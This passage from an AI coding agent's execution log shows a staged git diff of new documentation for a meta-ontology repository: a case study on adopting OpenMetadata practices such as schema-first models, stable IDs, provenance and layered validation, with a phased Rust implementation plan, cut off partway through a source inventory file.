turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=231 total_duration_ms=231\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.058Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_42\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\\\"\",\"aggregated_output\":\" .gitkeep                                           |   1 -\\n changelog.d/20260712_openmetadata_case_study.md    |   9 +\\n docs/case-studies/issue-5/README.md                | 122 ++++++++++\\n docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\\n docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\\n .../issue-5/raw-data/research-observations.json    |  35 +++\\n .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\\n docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\\n 8 files changed, 765 insertions(+), 1 deletion(-)\\nD\\t.gitkeep\\nA\\tchangelog.d/20260712_openmetadata_case_study.md\\nA\\tdocs/case-studies/issue-5/README.md\\nA\\tdocs/case-studies/issue-5/openmetadata-analysis.md\\nA\\tdocs/case-studies/issue-5/raw-data/issue-5.json\\nA\\tdocs/case-studies/issue-5/raw-data/research-observations.json\\nA\\tdocs/case-studies/issue-5/requirements-and-solutions.md\\nA\\tdocs/case-studies/issue-5/source-inventory.md\\ndiff --git a/.gitkeep b/.gitkeep\\ndeleted file mode 100644\\nindex 246ae17..0000000\\n--- a/.gitkeep\\n+++ /dev/null\\n@@ -1 +0,0 @@\\n-# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\\n\\\\ No newline at end of file\\ndiff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\\nnew file mode 100644\\nindex 0000000..d723621\\n--- /dev/null\\n+++ b/changelog.d/20260712_openmetadata_case_study.md\\n@@ -0,0 +1,9 @@\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\ndiff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/README.md\\nnew file mode 100644\\nindex 0000000..c11c7e9\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/README.md\\n@@ -0,0 +1,122 @@\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\ndiff --git a/docs/case-studies/issue-5/openmetadata-analysis.md b/docs/case-studies/issue-5/openmetadata-analysis.md\\nnew file mode 100644\\nindex 0000000..62846e7\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/openmetadata-analysis.md\\n@@ -0,0 +1,233 @@\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\ndiff --git a/docs/case-studies/issue-5/raw-data/issue-5.json b/docs/case-studies/issue-5/raw-data/issue-5.json\\nnew file mode 100644\\nindex 0000000..30fd31b\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/raw-data/issue-5.json\\n@@ -0,0 +1,17 @@\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\ndiff --git a/docs/case-studies/issue-5/raw-data/research-observations.json b/docs/case-studies/issue-5/raw-data/research-observations.json\\nnew file mode 100644\\nindex 0000000..5a4fc4d\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/raw-data/research-observations.json\\n@@ -0,0 +1,35 @@\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\ndiff --git a/docs/case-studies/issue-5/requirements-and-solutions.md b/docs/case-studies/issue-5/requirements-and-solutions.md\\nnew file mode 100644\\nindex 0000000..6e7963b\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/requirements-and-solutions.md\\n@@ -0,0 +1,256 @@\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\ndiff --git a/docs/case-studies/issue-5/source-inventory.md b/docs/case-studies/issue-5/source-inventory.md\\nnew file mode 100644\\nindex 0000000..faa9cd9\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/source-inventory.md\\n@@ -0,0 +1,93 @@\\n+# Source 